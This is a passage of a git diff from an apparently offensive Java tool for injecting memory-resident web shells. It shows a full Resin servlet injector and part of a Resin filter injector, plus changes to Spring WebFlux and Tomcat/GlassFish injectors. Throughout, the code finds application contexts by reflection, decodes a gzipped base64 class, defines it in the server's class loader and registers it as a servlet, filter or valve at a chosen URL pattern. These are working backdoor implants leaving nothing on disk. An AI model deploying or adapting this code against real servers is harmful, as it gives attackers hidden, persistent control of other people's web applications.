contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||||
|
while (classLoader != null) {
|
||||||
|
try {
|
||||||
|
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||||
|
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
classLoader = classLoader.getParent();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void inject(Object context, Object filter) throws Exception {
|
||||||
|
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
|
||||||
|
for (String key : filters.keySet()) {
|
||||||
|
if (key.contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ClassLoader loader = context.getClass().getClassLoader();
|
||||||
|
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
|
||||||
|
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
|
||||||
|
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
|
||||||
|
Object filterConfig = newInstance(
|
||||||
|
qFilterConfigClass,
|
||||||
|
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
|
||||||
|
new Object[]{context, getClassName(), getClassName(), null});
|
||||||
|
filters.put(getClassName(), filterConfig);
|
||||||
|
|
||||||
|
List filterList = (List) getFieldValue(context, "_filterList");
|
||||||
|
if (filterList != null && !filterList.contains(filterConfig)) {
|
||||||
|
filterList.add(filterConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
|
||||||
|
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
|
||||||
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
|
||||||
|
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
|
||||||
|
|
||||||
|
List filterMaps = (List) getFieldValue(context, "_filterMap");
|
||||||
|
synchronized (filterMaps) {
|
||||||
|
filterMaps.add(0, filterMap);
|
||||||
|
}
|
||||||
|
invokeMethod(context, "clearCache", null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
return constructor.newInstance(param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+248
@@ -0,0 +1,248 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.resin2;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
public class Resin2ServletInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Resin2ServletInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||||
|
Object context = getApplicationFromClassLoader(classLoader);
|
||||||
|
if (context != null) {
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||||
|
while (classLoader != null) {
|
||||||
|
try {
|
||||||
|
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||||
|
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
classLoader = classLoader.getParent();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void inject(Object context, Object servlet) throws Exception {
|
||||||
|
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
|
||||||
|
for (String key : servlets.keySet()) {
|
||||||
|
if (key.contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Object servletConfig = invokeMethod(
|
||||||
|
context,
|
||||||
|
"addServlet",
|
||||||
|
new Class[]{String.class, String.class},
|
||||||
|
new Object[]{getClassName(), getClassName()});
|
||||||
|
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
|
||||||
|
invokeMethod(
|
||||||
|
context,
|
||||||
|
"addDispatchMap",
|
||||||
|
new Class[]{String.class, servletConfigClass},
|
||||||
|
new Object[]{getUrlPattern(), servletConfig});
|
||||||
|
invokeMethod(context, "clearCache", null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-2
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||||
|
|
||||||
import org.springframework.util.Base64Utils;
|
|
||||||
import org.springframework.web.reactive.function.server.*;
|
import org.springframework.web.reactive.function.server.*;
|
||||||
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
|
||||||
|
|
||||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
|
|||||||
try {
|
try {
|
||||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
|||||||
+1
-2
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||||
|
|
||||||
import org.springframework.util.Base64Utils;
|
|
||||||
import org.springframework.web.method.HandlerMethod;
|
import org.springframework.web.method.HandlerMethod;
|
||||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||||
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
|
||||||
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
|
|||||||
try {
|
try {
|
||||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
|||||||
+1
-2
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.springwebflux;
|
package com.reajason.javaweb.memshell.injector.springwebflux;
|
||||||
|
|
||||||
import org.springframework.util.Base64Utils;
|
|
||||||
import org.springframework.web.server.WebFilter;
|
import org.springframework.web.server.WebFilter;
|
||||||
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
import org.springframework.web.server.handler.DefaultWebFilterChain;
|
||||||
import org.springframework.web.server.handler.FilteringWebHandler;
|
import org.springframework.web.server.handler.FilteringWebHandler;
|
||||||
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
return classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
|||||||
+25
-8
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)
|
||||||
|
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
boolean returnsInt = descriptor.endsWith(")I");
|
||||||
|
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
|
||||||
|
mv, argumentTypes, getClassName(), returnsInt);
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
private final Type[] argumentTypes;
|
private final Type[] argumentTypes;
|
||||||
private final String className;
|
private final String className;
|
||||||
|
private final boolean returnsInt;
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
|
||||||
super(Opcodes.ASM9, mv);
|
super(Opcodes.ASM9, mv);
|
||||||
this.argumentTypes = argTypes;
|
this.argumentTypes = argTypes;
|
||||||
this.className = className;
|
this.className = className;
|
||||||
|
this.returnsInt = returnsInt;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
"(Ljava/lang/Object;)Z",
|
"(Ljava/lang/Object;)Z",
|
||||||
false);
|
false);
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
// GlassFishValve.END_PIPELINE == 2
|
||||||
|
if (returnsInt) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_2);
|
||||||
|
mv.visitInsn(Opcodes.IRETURN);
|
||||||
|
} else {
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
}
|
||||||
mv.visitLabel(ifConditionFalse);
|
mv.visitLabel(ifConditionFalse);
|
||||||
mv.visitLabel(tryEnd);
|
mv.visitLabel(tryEnd);
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
@@ -199,17 +211,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||||
|
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||||
try {
|
try {
|
||||||
loader.loadClass(getClassName());
|
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||||
return;
|
findLoadedClass.setAccessible(true);
|
||||||
} catch (ClassNotFoundException ignored) {
|
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
} catch (Exception ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-4
@@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
// Always define into the target class's loader. loadClass() may resolve the shell from the
|
||||||
|
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
|
||||||
try {
|
try {
|
||||||
loader.loadClass(getClassName());
|
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
|
||||||
return;
|
findLoadedClass.setAccessible(true);
|
||||||
} catch (ClassNotFoundException ignored) {
|
if (findLoadedClass.invoke(loader, getClassName()) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
} catch (Exception ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+49
-3
@@ -59,14 +59,31 @@ public class TomcatListenerInjector {
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
String threadName = thread.getName();
|
String threadName = thread.getName();
|
||||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Object target = getThreadTarget(thread);
|
||||||
|
if (target == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object container = getContainerFromProcessor(target);
|
||||||
|
if (container == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||||
|
if (childrenMap == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
if (children != null) {
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
